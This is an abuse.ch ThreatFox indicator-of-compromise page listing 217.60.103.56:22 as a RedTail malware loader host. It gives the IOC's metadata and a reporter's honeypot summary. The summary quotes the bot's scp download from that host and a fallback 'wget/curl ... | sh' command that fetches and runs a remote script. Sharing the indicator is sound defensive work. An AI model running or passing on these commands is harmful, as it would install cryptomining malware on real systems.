🤲🏼 NEW | abuse.ch Community Hub! Earn recognition 🏅 for the malware intelligence you share, climb the leaderboards 📈, and connect with like-minded contributors who share your hunting focus 🤝. Ready to unlock your profile? Go to the Community Hub →

ThreatFox IOC Database

You are viewing the ThreatFox database entry for ip:port 217.60.103.56:22.

Database Entry

Add tag Delete this IOC  Report False Positive Export IOC (JSON)    Export IOC (CSV)
IOC ID:1943516
IOC: 217.60.103.56:22
IOC Type :ip:port
Threat Type :payload_delivery
Malware: RedTail
Confidence Level : Confidence level is elevated (75%)
Is compromised? : False
ASN:AS209373 SWISSNET-AS
Country:- IR
First seen:2026-10-01 05:17:17 UTC
Last seen:2026-10-23 15:36:07 UTC
UUID:fa274ccf-bd50-11f1-a463-42010aa4000a
Reporter wristhulk
Reward 5 credits from ThreatFox
Tags:honeypot Loader Redtail scp ssh
Reference: https://urlhaus.abuse.ch/host/217.60.103.56/

Avatar
wristhulk
RedTail loader host, active 2026-09-12 to 2026-09-30. Seen in 28 Cowrie SSH-honeypot sessions from 25 different source IPs: the bot writes a private key and ssh config, runs 'scp -i key.ppk dlr@217.60.103.56:sh out_sh' and executes it with argument 'telnet'; fallback 'wget/curl -k https://217.60.103.56/sh | sh -s telnet'. Ends with echo of hex 'redtail_bot_telnet_ok'. Same 217.60.0.0/16 provider as known RedTail host 217.60.195.113.